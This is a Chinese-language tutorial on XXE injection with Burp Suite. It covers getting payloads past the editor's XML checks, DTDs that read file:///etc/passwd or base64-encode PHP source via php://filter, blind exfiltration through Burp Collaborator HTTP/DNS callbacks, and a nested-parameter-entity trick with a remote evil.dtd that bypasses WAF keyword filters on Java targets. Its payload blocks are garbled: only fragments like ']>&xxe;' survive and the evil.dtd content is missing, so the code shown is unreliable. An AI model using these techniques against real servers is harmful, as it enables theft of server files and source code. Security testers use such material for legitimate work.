XXE payload需绕过Burp的XML语法校验并确保DOCTYPE声明完整:关闭XML高亮、手动输入含SYSTEM的DTD,路径用绝对路径;盲打时启用Burp Collaborator的HTTP/DNS,优先用http协议;Java场景可用%参数实体嵌套绕过过滤。

XXE payload 必须绕过 Burp 的自动 XML 格式校验
Burp Suite 默认会对请求体做 XML 结构预检,遇到非法实体或未声明的 DTD 会直接报错、拒绝发送。这不是拦截,而是编辑器层面的语法高亮/校验阻断——XML parser 没运行,但 Burp 自己先卡住了。
- 在
Repeater或Intruder中右键请求 → 选择Change request content-type,确保Content-Type是application/xml或text/xml - 关闭
Editor → Show XML syntax highlighting(菜单栏),避免误报干扰 - 手动输入 payload,不要依赖
Auto-complete或Insert → XML模板,那些默认不带外部实体声明
基础 XXE payload 要包含完整 DTD 声明和外部实体
多数 Web 应用用的是 libxml2 或 Java SAX/DOM,默认不禁用外部实体。但没声明 DOCTYPE 就直接写 &xxe;,解析器根本不会识别。
]>&xxe;
-
SYSTEM后的路径必须是绝对路径(file:///etc/passwd),相对路径如../etc/passwd多数解析器不支持 - 如果目标是 Java,
http://协议也可用,但需服务端允许 DNS 解析(用于盲打) - 某些场景下
php://filter更有效,比如读取 PHP 源码:php://filter/read=convert.base64-encode/resource=/var/www/index.php
盲 XXE 需要配合带外通道(OAST)且 Burp Collaborator 必须启用 DNS + HTTP
响应不回显时,不能只靠 注释或 error message 判断——得让目标主动连你。Burp Collaborator 是最稳的选择,但默认只开 DNS,而很多 XXE 触发走的是 HTTP 回调。
- 发送前,先点
Collaborator client → Poll now,确认状态是Active且HTTP和DNS都勾选 - payload 中用
SYSTEM "http://xxx.burpcollaborator.net",不是https(部分老解析器不支持) - 如果 Collaborator 没收到回调,检查目标是否禁用了 HTTP 外连(常见于内网环境),此时改用
ftp://xxx.burpcollaborator.net可能触发 DNS 查询
Java 应用常见绕过:用 % 实体嵌套绕过 DTD 过滤
有些 WAF 或框架层会正则匹配 SYSTEM、file:// 等关键词。Java 的 EntityResolver 支持参数实体(% 开头),可在内部二次解析,绕过简单字符串过滤。
%xxe; ]>1
其中 evil.dtd 内容为:
- 必须用
%xxe;调用,不能写成&xxe; -
evil.dtd文件必须返回Content-Type: application/xml,否则 Java 解析器会拒收 - 这个技巧对 .NET(
XmlReader)无效,它不支持参数实体加载远程 DTD
实际测试中,DOCTYPE 是否被丢弃、SYSTEM 是否被截断、解析器是否启用 external-general-entities,三者缺一不可。别只盯着 payload 长什么样,先确认请求真发出去了,再看 Collaborator 或响应体有没有变化。










